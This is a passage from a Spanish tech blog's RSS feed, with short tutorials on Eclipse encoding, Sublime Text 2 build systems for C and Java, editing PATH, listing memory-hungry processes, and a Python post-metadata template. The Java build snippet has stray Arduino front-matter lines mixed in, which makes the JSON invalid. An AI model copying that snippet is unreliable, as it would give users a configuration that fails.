>stackexchange&lt;/a>&lt;/p></description></item><item><title>Cambiar codificación en Eclipse</title><link>https://www.procamora.com/p/cambiarcodificacioneclipse/</link><pubDate>Fri, 18 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/cambiarcodificacioneclipse/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Cambiar codificación en Eclipse" />&lt;p>Eclipse codifica los ficheros por defecto con ANSI, para cambiar la codificación por defecto ir a:&lt;/p>
&lt;p>&lt;em>Window / Preferences / General / Content types&lt;/em>&lt;/p>
&lt;p>Seleccionar Text en la lista de Content Types y en default enconding poner &lt;em>UTF-8&lt;/em>&lt;/p></description></item><item><title>Compilar C con Sublimetext 2</title><link>https://www.procamora.com/p/compilar_c_sublimetext/</link><pubDate>Thu, 17 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/compilar_c_sublimetext/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Compilar C con Sublimetext 2" />&lt;p>En esta entrada veremos como configurar Sublime Text 2 para que al presionar &lt;strong>ctrl + b&lt;/strong> se compile y ejecute nuestra aplicación en C.&lt;/p>
&lt;p>Lo primero que debemos hacer es iniciar Sublime Text, una vez lo hallamos hecho, vamos a &lt;code>Tools -&amp;gt; Build System -&amp;gt; New Build System&lt;/code>&amp;hellip; Esto abrirá un pequeño archivo con unas lineas escritas en JSON, de modo que debemos copiar el siguiente código y pegarlo en este archivo.&lt;/p>
&lt;p>En mi caso la ruta es: &lt;code>%AppData%\Sublime Text 2\Packages\User&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">//Windows
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;cmd&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;gcc&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;-Wall&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;$file_name&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;-o&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;${file_base_name}.exe&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;&amp;amp;&amp;amp;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;${file_base_name}.exe&amp;#34;&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;selector&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;source.c&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;shell&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;working_dir&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;$file_path&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">//Linux
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;cmd&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;gcc&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;-Wall&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;$file_name&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;-o&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;${file_base_name}&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;&amp;amp;&amp;amp;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;${file_base_name}&amp;#34;&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;selector&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;source.c&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;shell&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;working_dir&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;$file_path&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Cuando lo hallamos hecho, guardamos dicho archivo en la carpeta donde nos sugiere Sublime Text, y le ponemos un nombre descriptivo como por ejemplo C.sublime-build, &lt;strong>ten cuidado que la extensión del archivo sea .sublime-build.&lt;/strong>&lt;/p>
&lt;p>Y con eso ya hemos terminado, para compilar y ejecutar nuestros programas en C tan solo debes ir a &lt;code>Tools -&amp;gt; Build System&lt;/code> y elegir el nombre del archivo que has modificado ante.,&lt;/p>
&lt;p>Fuentes: &lt;a class="link" href="http://ayudasprogramacionweb.blogspot.com.es/2013/03/compilar-y-ejecutar-c-en-terminal-linux-sublime-text.html" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p></description></item><item><title>Actualizar variables entorno</title><link>https://www.procamora.com/p/actualizar-variables-entorno/</link><pubDate>Wed, 16 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/actualizar-variables-entorno/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Actualizar variables entorno" />&lt;h2 id="introducción">Introducción:&lt;/h2>
&lt;p>El objetivo es modificar el path del sistema operativo.
El PATH es la variable del sistema que utiliza el sistema operativo para buscar los ejecutables necesarios desde la línea de comandos o la ventana Terminal.
La variable del sistema PATH se puede establecer utilizando la utilidad de sistema en el panel de control de Windows o en el archivo de inicio del shell en Linux y Solaris.&lt;/p>
&lt;h2 id="linux">Linux&lt;/h2>
&lt;p>Para consultar todas las variables de entorno, Linux dispone del comando &lt;code>env&lt;/code>&lt;/p>
&lt;p>Algunas variables importantes son:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">SHELL&lt;/span>&lt;span class="o">=&lt;/span>/bin/bash &lt;span class="o">(&lt;/span>el tipo de shell en uso&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">TERM&lt;/span>&lt;span class="o">=&lt;/span>xterm &lt;span class="o">(&lt;/span>el programa de terminal por defecto&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">USER&lt;/span>&lt;span class="o">=&lt;/span>pi &lt;span class="o">(&lt;/span>el nombre de usuario&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">PWD&lt;/span>&lt;span class="o">=&lt;/span>/home/pi &lt;span class="o">(&lt;/span>la ruta por defecto del usuario&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">LANG&lt;/span>&lt;span class="o">=&lt;/span>es_ES.utf8 &lt;span class="o">(&lt;/span>el juego de caracteres de idioma&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">DESKTOP_SESSION&lt;/span>&lt;span class="o">=&lt;/span>KDE &lt;span class="o">(&lt;/span>el entorno de escritorio&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">PATH&lt;/span>&lt;span class="o">=&lt;/span>/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin &lt;span class="o">(&lt;/span>el PATH&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para consultar el valor de una en particular usamos &lt;code>echo&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="nv">$PATH&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="dónde-están-los-archivos-de-configuración-del-path">¿Dónde están los archivos de configuración del PATH?&lt;/h4>
&lt;p>Los archivos globales del sistema están en:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">/etc/profile
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/etc/profile.d/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/etc/.bashrc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>y los archivos del espacio de usuario:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">~/.bashrc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">~/.bash_profile
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">~/.zshrc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="consola">Consola&lt;/h3>
&lt;p>Tenemos dos formas de modificar el PATH, una fija y otra temporal que se borrara una vez que se apague el sistema&lt;/p>
&lt;h4 id="forma-temporal">Forma temporal&lt;/h4>
&lt;p>Por la terminal introducimos el comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">PATH&lt;/span>&lt;span class="o">=&lt;/span>/opt/test/:&lt;span class="nv">$PATH&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Donde Tenemos que cambiar &lt;code>/opt/test/&lt;/code> por el directorio que queramos meter dentro del PATH&lt;/p>
&lt;h4 id="forma-fija">Forma fija&lt;/h4>
&lt;ol>
&lt;li>Edite el archivo de inicio (~/.bashrc)&lt;/li>
&lt;li>Modifique la variable PATH
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">PATH&lt;/span>&lt;span class="o">=&lt;/span>/opt/test/:&lt;span class="nv">$PATH&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>&lt;code>export PATH&lt;/code>&lt;/li>
&lt;li>Guarde y cierre el archivo&lt;/li>
&lt;/ol>
&lt;h2 id="windows">Windows&lt;/h2>
&lt;p>Windows permite modificar el PATH tanto graficamente como por consola.&lt;/p>
&lt;p>###Consola&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">SET &lt;span class="nv">PATH&lt;/span>&lt;span class="o">=&lt;/span>%PATH%&lt;span class="p">;&lt;/span>C:&lt;span class="se">\P&lt;/span>rogram Files&lt;span class="se">\J&lt;/span>ava&lt;span class="se">\j&lt;/span>dk1.8.0_65&lt;span class="se">\b&lt;/span>in
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="gui">Gui&lt;/h3>
&lt;ol>
&lt;li>En Buscar, busque y seleccione: Sistema (Panel de control)&lt;/li>
&lt;li>Haga clic en el enlace Configuración avanzada del sistema.&lt;/li>
&lt;li>Haga clic en Variables de entorno. En la sección Variables del sistema, busque la variable de entorno PATH y selecciónela. Haga clic en Editar. Si no existe la variable de entorno PATH, haga clic en Nuevo.&lt;/li>
&lt;li>En la ventana Editar la variable del sistema (o Nueva variable del sistema), debe especificar el valor de la variable de entorno PATH. Haga clic en Aceptar. Cierre todas las demás ventanas haciendo clic en Aceptar.&lt;/li>
&lt;li>Vuelva a abrir la ventana del indicador de comandos y ejecute el código de java.&lt;/li>
&lt;/ol>
&lt;p>Fuentes: [0][java] [1][0]
[java]: &lt;a class="link" href="https://www.java.com/es/download/help/path.xml" target="_blank" rel="noopener"
>https://www.java.com/es/download/help/path.xml&lt;/a>
[0]: &lt;a class="link" href="https://rootsudo.wordpress.com/2014/04/06/el-path-la-ruta-de-linux-variables-de-entorno/" target="_blank" rel="noopener"
>https://rootsudo.wordpress.com/2014/04/06/el-path-la-ruta-de-linux-variables-de-entorno/&lt;/a>&lt;/p></description></item><item><title>Procesos que mas consumen</title><link>https://www.procamora.com/p/procesos-que-mas-consumen/</link><pubDate>Tue, 15 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/procesos-que-mas-consumen/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Procesos que mas consumen" />&lt;p>ps aux &amp;ndash;width 30 &amp;ndash;sort -rss | head&lt;/p>
&lt;p>&lt;a class="link" href="http://blog.desdelinux.net/con-el-terminal-mostrar-los-10-procesos-que-mas-memoria-consumen/" target="_blank" rel="noopener"
>http://blog.desdelinux.net/con-el-terminal-mostrar-los-10-procesos-que-mas-memoria-consumen/&lt;/a>&lt;/p></description></item><item><title>Compilar Java con Sublimetext 2</title><link>https://www.procamora.com/p/compilar_java_sublimetext/</link><pubDate>Mon, 14 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/compilar_java_sublimetext/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Compilar Java con Sublimetext 2" />&lt;p>En esta entrada veremos como configurar Sublime Text 2 para que al presionar &lt;strong>ctrl + b&lt;/strong> se compile y ejecute nuestra aplicación en java.&lt;/p>
&lt;p>Lo primero que debemos hacer es iniciar Sublime Text, una vez lo hallamos hecho, vamos a &lt;code>Tools -&amp;gt; Build System -&amp;gt; New Build System&lt;/code>&amp;hellip; Esto abrirá un pequeño archivo con unas lineas escritas en JSON, de modo que debemos copiar el siguiente código y pegarlo en este archivo.&lt;/p>
&lt;p>En mi caso la ruta es: &lt;code>%AppData%\Sublime Text 2\Packages\User&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">//---
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="err">title:&lt;/span> &lt;span class="err">Arduino&lt;/span> &lt;span class="err">burn&lt;/span> &lt;span class="err">bootloader&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">description:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">date:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">lastmod:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">slug:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">image:&lt;/span> &lt;span class="s2">&amp;#34;covers/software.png&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">tags:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">-&lt;/span> &lt;span class="err">arduino&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">categories:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">-&lt;/span> &lt;span class="err">Software&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">---&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">Windows&lt;/span> &lt;span class="err">y&lt;/span> &lt;span class="err">Liunx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;cmd&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;javac ${file_name} &amp;amp;&amp;amp; java ${file_base_name}&amp;#34;&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;selector&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;source.java&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;shell&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Cuando lo hallamos hecho, guardamos dicho archivo en la carpeta donde nos sugiere Sublime Text, y le ponemos un nombre descriptivo como por ejemplo java.sublime-build, &lt;strong>ten cuidado que la extensión del archivo sea .sublime-build.&lt;/strong>&lt;/p>
&lt;p>Y con eso ya hemos terminado, para compilar y ejecutar nuestros programas en java tan solo debes ir a &lt;code>Tools -&amp;gt; Build System&lt;/code> y elegir el nombre del archivo que has modificado ante.,&lt;/p>
&lt;p>Fuentes: &lt;a class="link" href="http://ayudasprogramacionweb.blogspot.com.es/2012/12/compilar-y-ejecutar-java-desde-sublime-text.html" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p></description></item><item><title>Parsear Fichero</title><link>https://www.procamora.com/p/parsearfichero/</link><pubDate>Sun, 13 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/parsearfichero/</guid><description>&lt;img src="https://www.procamora.com/covers/programming.png" alt="Featured image of post Parsear Fichero" />&lt;p>Para parsear un fichero con python y remplazar ciertos ficheros el código seria algo como este.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">TEMPLATE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Title: &lt;/span>&lt;span class="si">{title}&lt;/span>&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">Date: &lt;/span>&lt;span class="si">{year}&lt;/span>&lt;span class="s2">-&lt;/span>&lt;span class="si">{month}&lt;/span>&lt;span class="s2">-&lt;/span>&lt;span class="si">{day}&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="si">{hour}&lt;/span>&lt;span class="s2">:&lt;/span>&lt;span class="si">{minute:02d}&lt;/span>&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">Modified: &lt;/span>&lt;span class="si">{year}&lt;/span>&lt;span class="s2">-&lt;/span>&lt;span class="si">{month}&lt;/span>&lt;span class="s2">-&lt;/span>&lt;span class="si">{day}&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="si">{hour}&lt;/span>&lt;span class="s2">:&lt;/span>&lt;span class="si">{minute:02d}&lt;/span>&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">Category:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">Tags:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">Slug: &lt;/span>&lt;span class="si">{slug}&lt;/span>&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">Summary:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">Status: draft
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">t&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">TEMPLATE&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">year&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">today&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">year&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">month&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">today&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">month&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">day&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">today&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">day&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">hour&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">today&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hour&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">minute&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">today&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">minute&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">slug&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">slug&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
